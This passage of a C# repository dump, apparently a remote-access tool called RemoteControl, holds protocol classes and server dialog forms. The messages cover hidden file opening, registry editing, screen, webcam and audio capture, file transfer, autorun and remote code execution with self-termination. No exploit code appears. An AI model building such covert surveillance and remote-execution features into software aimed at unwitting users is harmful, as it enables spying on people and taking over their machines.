System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestLockMouse 9 | { 10 | public int LockSeconds = 3; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestMessageBox.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestMessageBox 9 | { 10 | public string Title; 11 | public string Content; 12 | public int MessageBoxButtons; 13 | public int MessageBoxIcons; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestMouseEvent.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Drawing; 6 | 7 | namespace RemoteControl.Protocals 8 | { 9 | public class RequestMouseEvent 10 | { 11 | public eMouseButtons MouseButton; 12 | public eMouseOperations MouseOperation; 13 | public Point MouseLocation; 14 | } 15 | 16 | public enum eMouseButtons 17 | { 18 | Left = 0x100000, 19 | Middle = 0x400000, 20 | None = 0, 21 | Right = 0x200000, 22 | XButton1 = 0x800000, 23 | XButton2 = 0x1000000 24 | } 25 | 26 | public enum eMouseOperations 27 | { 28 | MouseDown, 29 | MouseUp, 30 | MousePress, 31 | MouseDoubleClick, 32 | MouseMove 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestMoveFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestMoveFile 9 | { 10 | public string SourceFile; 11 | public string DestinationFile; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestOpeRegistryValueName.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | /// 9 | /// 操作注册表value名称呢过请求 10 | /// 11 | public class RequestOpeRegistryValueName 12 | { 13 | public OpeType Operation; 14 | public eRegistryHive KeyRoot; 15 | public string KeyPath; 16 | public string ValueName; 17 | public object Value; 18 | public eRegistryValueKind ValueKind = eRegistryValueKind.REG_SZ; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestOpenFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | /// 9 | /// 打开文件请求 10 | /// 以默认方式打开文件 11 | /// 12 | public class RequestOpenFile 13 | { 14 | /// 15 | /// 文件路径 16 | /// 17 | public string FilePath; 18 | /// 19 | /// 是否隐藏 20 | /// 21 | public bool IsHide; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestOpenUrl.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestOpenUrl 9 | { 10 | public string Url; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestPlayMusic.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestPlayMusic 9 | { 10 | public string MusicFilePath; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestRenameFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestRenameFile 9 | { 10 | public string SourceFile; 11 | public string DestinationFileName; 12 | public string GetDestinationFileName() 13 | { 14 | return System.IO.Path.GetFileName(this.DestinationFileName); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestRunExecCode.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals.Request 7 | { 8 | public class RequestRunExecCode 9 | { 10 | public string ID; 11 | public eExecMode Mode = eExecMode.ExecByPlugin; 12 | public string FileArguments; 13 | public bool IsKillMySelf; 14 | } 15 | 16 | public enum eExecMode 17 | { 18 | ExecByPlugin, 19 | ExecByFile 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestStartCaptureAudio.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestStartCaptureAudio 9 | { 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestStartCaptureVideo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestStartCaptureVideo 9 | { 10 | public int Fps = 1; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestStartDownload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestStartDownload 9 | { 10 | public ePathType PathType { get; private set; } 11 | public string Path; 12 | public string SavePath; 13 | 14 | public RequestStartDownload() 15 | { 16 | this.PathType = ePathType.File; 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestStartGetScreen.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestStartGetScreen 9 | { 10 | public int fps = 1; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestStartUpload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestStartUploadHeader 9 | { 10 | public ePathType PathType { get; private set; } 11 | public string From; 12 | public string To; 13 | public string Id; 14 | 15 | public RequestStartUploadHeader() 16 | { 17 | this.PathType = ePathType.File; 18 | } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestStopGetScreen.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestStopGetScreen 9 | { 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestTransportExecCode.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestTransportExecCode 9 | { 10 | public string ID; 11 | public byte[] Data; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/RequestViewRegistryKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | /// 9 | /// 查看注册表key请求 10 | /// 11 | public class RequestViewRegistryKey 12 | { 13 | public eRegistryHive KeyRoot; 14 | public string KeyPath; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Request/ePathType.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public enum ePathType 9 | { 10 | File=0, 11 | Directory 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseAutoRun.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals.Response 7 | { 8 | public class ResponseAutoRun : ResponseBase 9 | { 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseBase.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Drawing; 6 | using System.IO; 7 | using System.Drawing.Imaging; 8 | 9 | namespace RemoteControl.Protocals 10 | { 11 | public class ResponseBase 12 | { 13 | public bool Result = true; 14 | public string Message = "成功"; 15 | public string Detail = ""; 16 | 17 | protected Image ByteArray2Image(byte[] data) 18 | { 19 | using (MemoryStream ms = new MemoryStream()) 20 | { 21 | ms.Write(data, 0, data.Length); 22 | 23 | return Image.FromStream(ms); 24 | } 25 | } 26 | 27 | protected byte[] Image2ByteArray(Image image, ImageFormat imageFormat) 28 | { 29 | using (var ms = new MemoryStream()) 30 | { 31 | image.Save(ms, imageFormat); 32 | return ms.GetBuffer(); 33 | } 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseCommand.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class ResponseCommand : ResponseBase 9 | { 10 | public string CommandResponse; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseCopyFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class ResponseCopyFile:ResponseBase 9 | { 10 | public string SourceFile; 11 | public string DestinationFile; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseCreateFileOrDir.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class ResponseCreateFileOrDir : ResponseBase 9 | { 10 | public ePathType PathType; 11 | public string Path; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseDeleteFileOrDir.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class ResponseDeleteFileOrDir : ResponseBase 9 | { 10 | public ePathType PathType; 11 | public string Path; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseGetDrives.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class ResponseGetDrives : ResponseBase 9 | { 10 | public List drives; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseGetHostName.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals.Response 7 | { 8 | /// 9 | /// 获取计算机名称 10 | /// 11 | public class ResponseGetHostName:ResponseBase 12 | { 13 | public string HostName; 14 | public string AppPath; 15 | public string OnlineAvatar; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseGetProcesses.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class ResponseGetProcesses : ResponseBase 9 | { 10 | public List Processes = new List(); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseGetSubFilesOrDirs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class ResponseGetSubFilesOrDirs:ResponseBase 9 | { 10 | public List dirs; 11 | public List files; 12 | } 13 | 14 | public class DirectoryProperty 15 | { 16 | public string DirPath; 17 | public DateTime CreationTime; 18 | public DateTime LastWriteTime; 19 | public DateTime LastAccessTime; 20 | } 21 | 22 | public class FileProperty 23 | { 24 | public string FilePath; 25 | public long Size; 26 | public DateTime CreationTime; 27 | public DateTime LastWriteTime; 28 | public DateTime LastAccessTime; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseMoveFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class ResponseMoveFile:ResponseBase 9 | { 10 | public string SourceFile; 11 | public string DestinationFile; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseOpeRegistryValueName.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | /// 9 | /// 操作注册表value名称响应 10 | /// 11 | public class ResponseOpeRegistryValueName : ResponseBase 12 | { 13 | public OpeType Operation; 14 | public eRegistryHive KeyRoot; 15 | public string KeyPath; 16 | public string ValueName; 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseStartCaptureAudio.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Drawing; 6 | using System.Drawing.Imaging; 7 | 8 | namespace RemoteControl.Protocals 9 | { 10 | public class ResponseStartCaptureAudio : ResponseBase 11 | { 12 | public byte[] AudioData; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseStartCaptureVideo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Drawing; 6 | using System.IO; 7 | using System.Drawing.Imaging; 8 | 9 | namespace RemoteControl.Protocals 10 | { 11 | public class ResponseStartCaptureVideo : ResponseBase 12 | { 13 | public byte[] ImageData; 14 | public DateTime CollectTime; 15 | 16 | public Image GetImage() 17 | { 18 | return ByteArray2Image(this.ImageData); 19 | } 20 | 21 | public void SetImage(Image image, ImageFormat imageFormat) 22 | { 23 | this.ImageData = Image2ByteArray(image, imageFormat); 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseStartDownload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals.Response 7 | { 8 | public class ResponseStartDownload : ResponseBase 9 | { 10 | public byte[] Data; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseStartDownloadHeader.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class ResponseStartDownloadHeader 9 | { 10 | public string Path; 11 | public string SavePath; 12 | public long FileSize; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseStartGetScreen.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Drawing; 6 | using System.Drawing.Imaging; 7 | 8 | namespace RemoteControl.Protocals 9 | { 10 | public class ResponseStartGetScreen : ResponseBase 11 | { 12 | public byte[] ImageData; 13 | 14 | public Image GetImage() 15 | { 16 | return ByteArray2Image(this.ImageData); 17 | } 18 | 19 | public void SetImage(Image image, ImageFormat imageFormat) 20 | { 21 | this.ImageData = Image2ByteArray(image, imageFormat); 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseStartUpload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class ResponseStartUpload 9 | { 10 | public string Id; 11 | public byte[] Data; 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseStopUpload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | public class RequestStopUpload 9 | { 10 | public string Id; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Response/ResponseViewRegistryKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Protocals 7 | { 8 | /// 9 | /// 查看注册表key响应 10 | /// 11 | public class ResponseViewRegistryKey : ResponseBase 12 | { 13 | public eRegistryHive KeyRoot; 14 | public string KeyPath; 15 | public string[] KeyNames; 16 | public string[] ValueNames; 17 | public eRegistryValueKind[] ValueKinds; 18 | public object[] Values; 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/Utilities/ResUtil.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.IO; 6 | 7 | namespace RemoteControl.Protocals.Utilities 8 | { 9 | /// 10 | /// 资源工具类 11 | /// 12 | public class ResUtil 13 | { 14 | public static byte[] GetResFileData(string resFileName) 15 | { 16 | string[] resNames = System.Reflection.Assembly.GetEntryAssembly().GetManifestResourceNames(); 17 | string blackScreenResName = resNames.ToList().Find(m => m.Contains(resFileName)); 18 | Stream stream = System.Reflection.Assembly.GetEntryAssembly().GetManifestResourceStream(blackScreenResName); 19 | byte[] data = new byte[stream.Length]; 20 | stream.Read(data, 0, data.Length); 21 | stream.Close(); 22 | 23 | return data; 24 | } 25 | 26 | public static string WriteToRandomFile(byte[] data, string fileName) 27 | { 28 | var fileDir = Environment.GetEnvironmentVariable("temp") + "\\" + Guid.NewGuid().ToString(); 29 | if (!System.IO.Directory.Exists(fileDir)) 30 | { 31 | System.IO.Directory.CreateDirectory(fileDir); 32 | } 33 | var filePath = fileDir + "\\" + fileName; 34 | System.IO.File.WriteAllBytes(filePath, data); 35 | 36 | return filePath; 37 | } 38 | 39 | public static string WriteToRandomFile(byte[] data) 40 | { 41 | string randomFileName = System.IO.Path.GetRandomFileName(); 42 | return WriteToRandomFile(data, randomFileName); 43 | } 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /RemoteControl.Protocals/bin/Debug/Newtonsoft.Json.Lite.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Protocals/bin/Debug/Newtonsoft.Json.Lite.dll -------------------------------------------------------------------------------- /RemoteControl.Protocals/bin/Debug/RemoteControl.Protocals.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Protocals/bin/Debug/RemoteControl.Protocals.dll -------------------------------------------------------------------------------- /RemoteControl.Protocals/bin/x86/Debug/Newtonsoft.Json.Lite.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Protocals/bin/x86/Debug/Newtonsoft.Json.Lite.dll -------------------------------------------------------------------------------- /RemoteControl.Protocals/bin/x86/Debug/RemoteControl.Protocals.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Protocals/bin/x86/Debug/RemoteControl.Protocals.dll -------------------------------------------------------------------------------- /RemoteControl.Server/ClientConnectedEventArgs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Net; 6 | using System.Net.Sockets; 7 | using RemoteControl.Protocals; 8 | 9 | namespace RemoteControl.Server 10 | { 11 | class ClientConnectedEventArgs : EventArgs 12 | { 13 | public ClientConnectedEventArgs(SocketSession client) 14 | { 15 | this.Client = client; 16 | } 17 | 18 | public SocketSession Client { get; private set; } 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /RemoteControl.Server/FrmAbout.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace RemoteControl.Server 10 | { 11 | public partial class FrmAbout : FrmBase 12 | { 13 | public FrmAbout() 14 | { 15 | InitializeComponent(); 16 | base.EnableCancelButton = true; 17 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; 18 | this.StartPosition = FormStartPosition.CenterScreen; 19 | this.label2.Text = "版本:" + Application.ProductVersion; 20 | } 21 | 22 | private void FrmAbout_Load(object sender, EventArgs e) 23 | { 24 | for (int i = 0; i < this.Controls.Count; i++) 25 | { 26 | this.Controls[i].Click += (o, args) => 27 | { 28 | base.Quit(); 29 | }; 30 | } 31 | this.Click += (o, args) => 32 | { 33 | base.Quit(); 34 | }; 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /RemoteControl.Server/FrmBase.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace RemoteControl.Server 2 | { 3 | partial class FrmBase 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmBase)); 32 | this.SuspendLayout(); 33 | // 34 | // FrmBase 35 | // 36 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); 37 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 38 | this.ClientSize = new System.Drawing.Size(284, 262); 39 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 40 | this.Name = "FrmBase"; 41 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; 42 | this.Text = "FrmBase"; 43 | this.Load += new System.EventHandler(this.FrmBase_Load); 44 | this.ResumeLayout(false); 45 | 46 | } 47 | 48 | #endregion 49 | } 50 | } -------------------------------------------------------------------------------- /RemoteControl.Server/FrmBase.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace RemoteControl.Server 10 | { 11 | public partial class FrmBase : Form 12 | { 13 | private bool enableCancelButton; 14 | 15 | public bool EnableCancelButton 16 | { 17 | get { return enableCancelButton; } 18 | set { enableCancelButton = value; } 19 | } 20 | 21 | public FrmBase() 22 | { 23 | InitializeComponent(); 24 | } 25 | 26 | private void FrmBase_Load(object sender, EventArgs e) 27 | { 28 | if (this.enableCancelButton) 29 | { 30 | Button btn = new Button(); 31 | btn.Click += (o, args) => 32 | { 33 | Quit(); 34 | }; 35 | this.CancelButton = btn; 36 | } 37 | } 38 | 39 | protected void Quit() 40 | { 41 | if (this.Modal) 42 | { 43 | this.DialogResult = System.Windows.Forms.DialogResult.Cancel; 44 | } 45 | else 46 | { 47 | this.Close(); 48 | } 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /RemoteControl.Server/FrmDownload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | using RemoteControl.Protocals; 9 | 10 | namespace RemoteControl.Server 11 | { 12 | public partial class FrmDownload : FrmBase 13 | { 14 | private long _fileSize; 15 | private Action _cancelAction; 16 | public FrmDownload(Action cancelAction, string sourceFile, string destFile, long fileSize):this(cancelAction, sourceFile,destFile,fileSize, true) 17 | { 18 | } 19 | public FrmDownload(Action cancelAction, string sourceFile, string destFile, long fileSize, bool isDownloadMode) 20 | { 21 | InitializeComponent(); 22 | 23 | this._cancelAction = cancelAction; 24 | this.label2.Text = String.Format("正在{2}文件 {0} 到 {1} 目录中...", 25 | System.IO.Path.GetFileName(sourceFile), 26 | System.IO.Path.GetDirectoryName(destFile), 27 | isDownloadMode?"下载":"上传"); 28 | this._fileSize = fileSize; 29 | this.label1.Text = string.Format("{0}/{1}", 0, this._fileSize); 30 | this.Text = isDownloadMode?"下载文件":"上传文件"; 31 | } 32 | 33 | public void UpdateProgress(long recvedBytes) 34 | { 35 | if (this.InvokeRequired) 36 | { 37 | this.Invoke(new Action(UpdateProgress), recvedBytes); 38 | return; 39 | } 40 | this.label1.Text = string.Format("{0}/{1}", recvedBytes, this._fileSize); 41 | this.progressBar1.Maximum = 100; 42 | this.progressBar1.Value = (int)(recvedBytes * 1.0 / this._fileSize * 100); 43 | } 44 | 45 | private void button1_Click(object sender, EventArgs e) 46 | { 47 | if (_cancelAction != null) 48 | { 49 | _cancelAction(); 50 | } 51 | this.DialogResult = System.Windows.Forms.DialogResult.Cancel; 52 | } 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /RemoteControl.Server/FrmDownloadWebFile.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace RemoteControl.Server 10 | { 11 | public partial class FrmDownloadWebFile : FrmOkCancelBase 12 | { 13 | public string WebUrl; 14 | public string DestFilePath; 15 | 16 | public FrmDownloadWebFile() 17 | { 18 | InitializeComponent(); 19 | } 20 | 21 | private void buttonOk_Click(object sender, EventArgs e) 22 | { 23 | this.WebUrl = this.textBox1.Text; 24 | this.DestFilePath = this.textBox2.Text; 25 | this.Close(); 26 | } 27 | 28 | private void buttonCancel_Click(object sender, EventArgs e) 29 | { 30 | this.WebUrl = null; 31 | this.DestFilePath = null; 32 | this.Close(); 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /RemoteControl.Server/FrmInputFileOrDir.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace RemoteControl.Server 10 | { 11 | public partial class FrmInputFileOrDir : FrmBase 12 | { 13 | public string InputText; 14 | 15 | public FrmInputFileOrDir() 16 | { 17 | InitializeComponent(); 18 | } 19 | 20 | private void button1_Click(object sender, EventArgs e) 21 | { 22 | this.InputText = this.textBox1.Text.Trim(); 23 | this.DialogResult = System.Windows.Forms.DialogResult.OK; 24 | } 25 | 26 | private void button2_Click(object sender, EventArgs e) 27 | { 28 | this.DialogResult = System.Windows.Forms.DialogResult.Cancel; 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /RemoteControl.Server/FrmInputUrl.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace RemoteControl.Server 10 | { 11 | public partial class FrmInputUrl : FrmBase 12 | { 13 | public string InputText; 14 | 15 | public FrmInputUrl() 16 | { 17 | InitializeComponent(); 18 | } 19 | 20 | private void buttonOk_Click(object sender, EventArgs e) 21 | { 22 | this.InputText = this.textBox1.Text; 23 | this.Close(); 24 | } 25 | 26 | private void buttonCancel_Click(object sender, EventArgs e) 27 | { 28 | this.InputText = null; 29 | this.Close(); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /RemoteControl.Server/FrmOkCancelBase.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace RemoteControl.Server 10 | { 11 | public partial class FrmOkCancelBase : FrmBase 12 | { 13 | public FrmOkCancelBase() 14 | { 15 | InitializeComponent(); 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /RemoteControl.Server/FrmRename.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | using RemoteControl.Server.Utils; 9 | 10 | namespace RemoteControl.Server 11 | { 12 | public partial class FrmRename : FrmOkCancelBase 13 | { 